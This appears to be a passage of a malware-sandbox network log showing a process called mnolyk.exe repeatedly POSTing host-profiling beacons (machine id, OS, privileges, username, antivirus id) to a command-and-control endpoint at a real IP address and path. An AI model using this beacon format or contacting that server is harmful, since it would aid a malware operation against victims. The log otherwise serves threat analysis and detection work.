Feb 7, 2023 23:08:46.123063087 CET	500	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
386	192.168.2.7	50081	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:46.318732977 CET	501	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:46.383594036 CET	501	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
387	192.168.2.7	50082	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:46.560439110 CET	502	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:46.625701904 CET	502	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
388	192.168.2.7	50083	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:46.810774088 CET	503	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:46.876943111 CET	503	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
389	192.168.2.7	50084	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:47.056885004 CET	504	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:47.123337030 CET	504	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	49733	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:11.073843002 CET	143	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:11.142923117 CET	143	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.7	50085	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:47.307738066 CET	505	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:47.372236013 CET	505	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.7	50086	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:47.567671061 CET	506	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:47.632725000 CET	506	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.7	50087	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:47.809633017 CET	507	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:47.874619007 CET	507	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.7	50088	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:48.057972908 CET	508	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:48.123852015 CET	508	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.7	50089	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:48.291497946 CET	509	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:48.359700918 CET	509	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.7	50090	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:48.540225983 CET	510	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:48.605078936 CET	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.7	50091	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:48.773540020 CET	511	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:48.838476896 CET	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.7	50092	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:49.011979103 CET	512	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:49.082272053 CET	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.7	50093	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:49.276434898 CET	513	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:49.342191935 CET	513	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.7	50094	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:49.510005951 CET	514	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:49.573791981 CET	514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49698	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:02.520210981 CET	108	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:02.582041979 CET	108	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	49734	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:11.313399076 CET	144	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:11.377012014 CET	144	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.7	50095	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:49.744924068 CET	515	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:49.807482958 CET	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.7	50096	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:49.987227917 CET	516	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:50.054502964 CET	516	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.7	50097	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:50.388047934 CET	517	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:50.452862024 CET	517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.7	50098	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:50.686542034 CET	518	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:50.752957106 CET	518	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.7	50099	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
